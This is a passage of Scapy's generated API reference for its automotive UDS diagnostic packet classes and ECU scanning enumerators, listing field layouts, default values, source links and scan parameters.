+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |  MEMORYSIZE1  |          MEMORYSIZE2          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MEMORYSIZE3                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MEMORYSIZE4                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. UDS_RU                            


UDS_RU fields






	dataFormatIdentifier

	ByteEnumField

	0



	memorySizeLen

	BitField  (4 bits)

	0



	memoryAddressLen

	BitField  (4 bits)

	0



	memoryAddress1

	XByteField (Cond)

	0



	memoryAddress2

	XShortField (Cond)

	0



	memoryAddress3

	X3BytesField (Cond)

	0



	memoryAddress4

	XIntField (Cond)

	0



	memorySize1

	XByteField (Cond)

	0



	memorySize2

	XShortField (Cond)

	0



	memorySize3

	X3BytesField (Cond)

	0



	memorySize4

	XIntField (Cond)

	0















	
class scapy.contrib.automotive.uds.UDS_RUPR(_pkt, /, *, memorySizeLen=0, reserved=0, maxNumberOfBlockLength=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1256-L1265]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1264-L1265]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MEMORYS|RESERVE|MAXNUMBEROFBLOC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_RUPR                           


UDS_RUPR fields






	memorySizeLen

	BitField  (4 bits)

	0



	reserved

	BitField  (4 bits)

	0



	maxNumberOfBlockLength

	StrField

	b''















	
class scapy.contrib.automotive.uds.UDS_SA(_pkt, /, *, securityAccessType=0, securityAccessDataRecord=b'', securityKey=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L202-L210]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SECURITYACCESST|    SECURITYACCESSDATARECORD   |  SECURITYKEY  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                           Fig. UDS_SA                            


UDS_SA fields






	securityAccessType

	ByteField

	0



	securityAccessDataRecord

	StrField (Cond)

	b''



	securityKey

	StrField (Cond)

	b''















	
class scapy.contrib.automotive.uds.UDS_SAPR(_pkt, /, *, securityAccessType=0, securitySeed=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L216-L226]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L224-L226]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SECURITYACCESST|          SECURITYSEED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_SAPR                           


UDS_SAPR fields






	securityAccessType

	ByteField

	0



	securitySeed

	StrField (Cond)

	b''











	
modify_ecu_state(req: Packet, state: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_ecu_states.py#L37-L46]

	








	
class scapy.contrib.automotive.uds.UDS_SDT(_pkt, /, *, requestMessage=0, ISOSAEReservedBackwardsCompatibility=0, preEstablishedKeyUsed=0, encryptedMessage=0, signedMessage=0, signedResponseRequested=0, ISOSAEReserved=0, signatureEncryptionCalculation=0, signatureLength=0, antiReplayCounter=0, internalMessageServiceRequestId=0, dataRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L509-L524]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|R|ISO|P|E|S|S|  ISOSAERESERVED |SIGNATUREENCRYP|SIGNATURELENGTH|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |       ANTIREPLAYCOUNTER       |INTERNALMESSAGE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   DATARECORD  |
+-+-+-+-+-+-+-+-+

                           Fig. UDS_SDT                           


UDS_SDT fields






	requestMessage

	BitField  (1 bit)

	0



	ISOSAEReservedBackwardsCompatibility

	BitField  (2 bits)

	0



	preEstablishedKeyUsed

	BitField  (1 bit)

	0



	encryptedMessage

	BitField  (1 bit)

	0



	signedMessage

	BitField  (1 bit)

	0



	signedResponseRequested

	BitField  (1 bit)

	0



	ISOSAEReserved

	BitField  (9 bits)

	0



	signatureEncryptionCalculation

	ByteField

	0



	signatureLength

	XShortField

	0



	antiReplayCounter

	XShortField

	0



	internalMessageServiceRequestId

	ByteField

	0



	dataRecord

	StrField

	b''















	
class scapy.contrib.automotive.uds.UDS_SDTPR(_pkt, /, *, requestMessage=0, ISOSAEReservedBackwardsCompatibility=0, preEstablishedKeyUsed=0, encryptedMessage=0, signedMessage=0, signedResponseRequested=0, ISOSAEReserved=0, signatureEncryptionCalculation=0, signatureLength=0, antiReplayCounter=0, internalMessageServiceResponseId=0, dataRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L530-L548]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L547-L548]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|R|ISO|P|E|S|S|  ISOSAERESERVED |SIGNATUREENCRYP|SIGNATURELENGTH|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |       ANTIREPLAYCOUNTER       |INTERNALMESSAGE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   DATARECORD  |
+-+-+-+-+-+-+-+-+

                          Fig. UDS_SDTPR                          


UDS_SDTPR fields






	requestMessage

	BitField  (1 bit)

	0



	ISOSAEReservedBackwardsCompatibility

	BitField  (2 bits)

	0



	preEstablishedKeyUsed

	BitField  (1 bit)

	0



	encryptedMessage

	BitField  (1 bit)

	0



	signedMessage

	BitField  (1 bit)

	0



	signedResponseRequested

	BitField  (1 bit)

	0



	ISOSAEReserved

	BitField  (9 bits)

	0



	signatureEncryptionCalculation

	ByteField

	0



	signatureLength

	XShortField

	0



	antiReplayCounter

	XShortField

	0



	internalMessageServiceResponseId

	ByteField

	0



	dataRecord

	StrField

	b''















	
class scapy.contrib.automotive.uds.UDS_TD(_pkt, /, *, blockSequenceCounter=0, transferRequestParameterRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1272-L1277]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCKSEQUENCECO|TRANSFERREQUEST|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. UDS_TD                            


UDS_TD fields






	blockSequenceCounter

	ByteField

	0



	transferRequestParameterRecord

	StrField

	b''















	
class scapy.contrib.automotive.uds.UDS_TDPR(_pkt, /, *, blockSequenceCounter=0, transferResponseParameterRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1283-L1292]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1290-L1292]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCKSEQUENCECO|TRANSFERRESPONS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_TDPR                           


UDS_TDPR fields






	blockSequenceCounter

	ByteField

	0



	transferResponseParameterRecord

	StrField

	b''















	
class scapy.contrib.automotive.uds.UDS_TP(_pkt, /, *, subFunction=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L444-L448]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBFUNCTION  |
+-+-+-+-+-+-+-+-+

                           Fig. UDS_TP                            


UDS_TP fields






	subFunction

	ByteField

	0















	
class scapy.contrib.automotive.uds.UDS_TPPR(_pkt, /, *, zeroSubFunction=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L454-L461]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L460-L461]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ZEROSUBFUNCTION|
+-+-+-+-+-+-+-+-+

                          Fig. UDS_TPPR                           


UDS_TPPR fields






	zeroSubFunction

	ByteField

	0











	
modify_ecu_state(req: Packet, state: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_ecu_states.py#L55-L58]

	








	
class scapy.contrib.automotive.uds.UDS_TesterPresentSender(sock, pkt=<UDS  service=TesterPresent |<UDS_TP  subFunction=128 |>>, interval=2)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1505-L1514]

	Bases: PeriodicSenderThread






	
class scapy.contrib.automotive.uds.UDS_WDBI(_pkt, /, *, dataIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L827-L832]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         DATAIDENTIFIER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_WDBI                           


UDS_WDBI fields






	dataIdentifier

	XShortEnumField

	0















	
class scapy.contrib.automotive.uds.UDS_WDBIPR(_pkt, /, *, dataIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L838-L847]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L845-L847]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         DATAIDENTIFIER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. UDS_WDBIPR                          


UDS_WDBIPR fields






	dataIdentifier

	XShortEnumField

	0















	
class scapy.contrib.automotive.uds.UDS_WMBA(_pkt, /, *, memorySizeLen=0, memoryAddressLen=0, memoryAddress1=0, memoryAddress2=0, memoryAddress3=0, memoryAddress4=0, memorySize1=0, memorySize2=0, memorySize3=0, memorySize4=0, dataRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L854-L877]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MEMORYS|MEMORYA| MEMORYADDRESS1|         MEMORYADDRESS2        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MEMORYADDRESS3                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MEMORYADDRESS4                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  MEMORYSIZE1  |          MEMORYSIZE2          |  MEMORYSIZE3  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |  MEMORYSIZE4  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |   DATARECORD  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_WMBA                           


UDS_WMBA fields






	memorySizeLen

	BitField  (4 bits)

	0



	memoryAddressLen

	BitField  (4 bits)

	0



	memoryAddress1

	XByteField (Cond)

	0



	memoryAddress2

	XShortField (Cond)

	0



	memoryAddress3

	X3BytesField (Cond)

	0



	memoryAddress4

	XIntField (Cond)

	0



	memorySize1

	XByteField (Cond)

	0



	memorySize2

	XShortField (Cond)

	0



	memorySize3

	X3BytesField (Cond)

	0



	memorySize4

	XIntField (Cond)

	0



	dataRecord

	StrField

	b''















	
class scapy.contrib.automotive.uds.UDS_WMBAPR(_pkt, /, *, memorySizeLen=0, memoryAddressLen=0, memoryAddress1=0, memoryAddress2=0, memoryAddress3=0, memoryAddress4=0, memorySize1=0, memorySize2=0, memorySize3=0, memorySize4=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L883-L909]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L906-L909]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MEMORYS|MEMORYA| MEMORYADDRESS1|         MEMORYADDRESS2        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MEMORYADDRESS3                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MEMORYADDRESS4                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  MEMORYSIZE1  |          MEMORYSIZE2          |  MEMORYSIZE3  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |  MEMORYSIZE4  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. UDS_WMBAPR                          


UDS_WMBAPR fields






	memorySizeLen

	BitField  (4 bits)

	0



	memoryAddressLen

	BitField  (4 bits)

	0



	memoryAddress1

	XByteField (Cond)

	0



	memoryAddress2

	XShortField (Cond)

	0



	memoryAddress3

	X3BytesField (Cond)

	0



	memoryAddress4

	XIntField (Cond)

	0



	memorySize1

	XByteField (Cond)

	0



	memorySize2

	XShortField (Cond)

	0



	memorySize3

	X3BytesField (Cond)

	0



	memorySize4

	XIntField (Cond)

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.uds_ecu_states




            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.uds_logging




            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.uds_scan


	
class scapy.contrib.automotive.uds_scan.UDS_CCEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L261-L277]

	Bases: UDS_Enumerator






	
class scapy.contrib.automotive.uds_scan.UDS_DSCEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L91-L199]

	Bases: UDS_Enumerator, StateGeneratingServiceEnumerator


	
static enter_state(socket: SuperSocket | SingleConversationSocket, configuration: AutomotiveTestCaseExecutorConfiguration, request: Packet) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L144-L161]

	




	
static enter_state_with_tp(sock: SuperSocket | SingleConversationSocket, conf: AutomotiveTestCaseExecutorConfiguration, kwargs: Dict[str, Any]) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L175-L192]

	




	
execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L122-L134]

	
	Parameters:

	
	timeout (integer or float) – Timeout until a response will arrive after a request


	count (integer) – Number of request to be sent in one execution


	execution_time (int) – Time in seconds until the execution of
this enumerator is stopped.


	state_allow_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is allowed. If provided, other states will not
be executed.


	state_block_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is blocked.


	retry_if_none_received (bool) – Specifies if a request will be send
again, if None was received
(usually because of a timeout).


	exit_if_no_answer_received (bool) – Specifies to finish the
execution of this enumerator
once None is  received.


	exit_if_service_not_supported (bool) – Specifies to finish the
execution of this
enumerator, once the
negative return code
‘serviceNotSupported’ is
received.


	exit_scan_on_first_negative_response (bool) – Specifies to finish
the execution once a
negative response is
received.


	retry_if_busy_returncode (bool) – Specifies to retry a request, if
the ‘busyRepeatRequest’ negative
response code is received.


	debug (bool) – Enables debug functions during execute.


	stop_event (Event) – Signals immediate stop of the execution.


	scan_range (list or tuple or range or iterable) – Specifies the identifiers to be scanned.


	delay_state_change (int) – Specifies an additional delay after
after a session is modified from
the transition function. In unit-test
scenarios, this delay should be set to
zero.


	overwrite_timeout (bool) – True by default. This enumerator
overwrites the timeout argument, since
most ECUs take some time until a session
is changed. This ensures that more
results are gathered by default. In
unit-test scenarios, this value should
be set to False, in order to use the
timeout specified by the ‘timeout’
argument.













	
get_new_edge(socket: SuperSocket | SingleConversationSocket, config: AutomotiveTestCaseExecutorConfiguration) → Tuple[EcuState, EcuState] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L163-L173]

	




	
get_transition_function(socket: SuperSocket | SingleConversationSocket, edge: Tuple[EcuState, EcuState]) → Tuple[Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration, Dict[str, Any]], bool], Dict[str, Any], Callable[[SuperSocket | SingleConversationSocket, AutomotiveTestCaseExecutorConfiguration], bool] | None] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L194-L199]

	








	
class scapy.contrib.automotive.uds_scan.UDS_EREnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L244-L258]

	Bases: UDS_Enumerator






	
class scapy.contrib.automotive.uds_scan.UDS_Enumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L69-L88]

	Bases: ServiceEnumerator, ABC






	
class scapy.contrib.automotive.uds_scan.UDS_IOCBIEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L858-L878]

	Bases: UDS_Enumerator






	
class scapy.contrib.automotive.uds_scan.UDS_RCEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L778-L807]

	Bases: UDS_Enumerator






	
class scapy.contrib.automotive.uds_scan.UDS_RCSelectiveEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L822-L855]

	Bases: StagedAutomotiveTestCase


	
expansion_width = 253

	




	
static points_to_ranges(pois: Iterable[int]) → Iterable[int][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L827-L837]

	








	
class scapy.contrib.automotive.uds_scan.UDS_RCStartEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L810-L819]

	Bases: UDS_RCEnumerator






	
class scapy.contrib.automotive.uds_scan.UDS_RDBIEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L362-L386]

	Bases: UDS_Enumerator


	
static print_information(resp: Packet) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L373-L377]

	








	
class scapy.contrib.automotive.uds_scan.UDS_RDBIRandomEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L429-L488]

	Bases: UDS_RDBIEnumerator


	
block_size = 64

	




	
execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L441-L443]

	
	Parameters:

	
	timeout (integer or float) – Timeout until a response will arrive after a request


	count (integer) – Number of request to be sent in one execution


	execution_time (int) – Time in seconds until the execution of
this enumerator is stopped.


	state_allow_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is allowed. If provided, other states will not
be executed.


	state_block_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is blocked.


	retry_if_none_received (bool) – Specifies if a request will be send
again, if None was received
(usually because of a timeout).


	exit_if_no_answer_received (bool) – Specifies to finish the
execution of this enumerator
once None is  received.


	exit_if_service_not_supported (bool) – Specifies to finish the
execution of this
enumerator, once the
negative return code
‘serviceNotSupported’ is
received.


	exit_scan_on_first_negative_response (bool) – Specifies to finish
the execution once a
negative response is
received.


	retry_if_busy_returncode (bool) – Specifies to retry a request, if
the ‘busyRepeatRequest’ negative
response code is received.


	debug (bool) – Enables debug functions during execute.


	stop_event (Event) – Signals immediate stop of the execution.


	scan_range (list or tuple or range or iterable) – Specifies the identifiers to be scanned.


	probe_start (int) – Specifies the start identifier for probing.


	probe_end (int) – Specifies the end identifier for probing.

















	
class scapy.contrib.automotive.uds_scan.UDS_RDBISelectiveEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L389-L426]

	Bases: StagedAutomotiveTestCase


	
static points_to_blocks(pois: Sequence[int]) → Iterable[int][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L403-L420]

	








	
class scapy.contrib.automotive.uds_scan.UDS_RDBPIEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L280-L303]

	Bases: UDS_Enumerator






	
class scapy.contrib.automotive.uds_scan.UDS_RDEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L1155-L1200]

	Bases: UDS_Enumerator


	
execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L1166-L1168]

	
	Parameters:

	
	timeout (integer or float) – Timeout until a response will arrive after a request


	count (integer) – Number of request to be sent in one execution


	execution_time (int) – Time in seconds until the execution of
this enumerator is stopped.


	state_allow_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is allowed. If provided, other states will not
be executed.


	state_block_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is blocked.


	retry_if_none_received (bool) – Specifies if a request will be send
again, if None was received
(usually because of a timeout).


	exit_if_no_answer_received (bool) – Specifies to finish the
execution of this enumerator
once None is  received.


	exit_if_service_not_supported (bool) – Specifies to finish the
execution of this
enumerator, once the
negative return code
‘serviceNotSupported’ is
received.


	exit_scan_on_first_negative_response (bool) – Specifies to finish
the execution once a
negative response is
received.


	retry_if_busy_returncode (bool) – Specifies to retry a request, if
the ‘busyRepeatRequest’ negative
response code is received.


	debug (bool) – Enables debug functions during execute.


	stop_event (Event) – Signals immediate stop of the execution.


	scan_range (list or tuple or range or iterable) – Specifies the identifiers to be scanned.


	unittest (bool) – Enables smaller search space for unit-test
scenarios. This safes execution time.

















	
class scapy.contrib.automotive.uds_scan.UDS_RMBAEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L1131-L1152]

	Bases: StagedAutomotiveTestCase






	
class scapy.contrib.automotive.uds_scan.UDS_RMBAEnumeratorABC[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L881-L931]

	Bases: UDS_Enumerator


	
static get_addr(pkt: UDS_RMBA) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L885-L893]

	Helper function to get the memoryAddress from a UDS_RMBA packet
:param pkt: UDS_RMBA request
:return: memory address of the request






	
static get_size(pkt: UDS_RMBA) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L905-L912]

	Helper function to gets the memorySize of a UDS_RMBA packet
:param pkt: UDS_RMBA request






	
static set_addr(pkt: UDS_RMBA, addr: int) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L895-L903]

	Helper function to set the memoryAddress of a UDS_RMBA packet
:param pkt: UDS_RMBA request
:param addr: memory address to be set






	
static set_size(pkt: UDS_RMBA, size: int) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L914-L923]

	Helper function to set the memorySize of a UDS_RMBA packet
:param pkt: UDS_RMBA request
:param size: memory size to be set










	
class scapy.contrib.automotive.uds_scan.UDS_RMBARandomEnumerator[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L934-L975]

	Bases: UDS_RMBAEnumeratorABC


	
execute(socket: SuperSocket | SingleConversationSocket, state: EcuState, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_scan.py#L945-L947]

	
	Parameters:

	
	timeout (integer or float) – Timeout until a response will arrive after a request


	count (integer) – Number of request to be sent in one execution


	execution_time (int) – Time in seconds until the execution of
this enumerator is stopped.


	state_allow_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is allowed. If provided, other states will not
be executed.


	state_block_list (EcuState or list) – List of EcuState objects or EcuState object
in which the the execution of this enumerator
is blocked.


	retry_if_none_received (bool) – Specifies if a request will be send
again, if None was received
(usually because of a timeout).


	exit_if_no_answer_received (bool) – Specifies to finish the
execution of this enumerator
once None is  received.


	exit_if_service_not_supported (bool) – Specifies to finish the
execution of this
enumerator, once the
negative return code
‘serviceNotSupported’ is
received.


	exit_scan_on_first_negative_response (bool) – Specifies to finish
the execution once a
negative response is
received.


	retry_if_busy_returncode (bool) – Specifies to retry a request, if
the ‘busyRepeatRequest’ negative
response code is received.


	debug (bool) – Enables debug functions during execute.


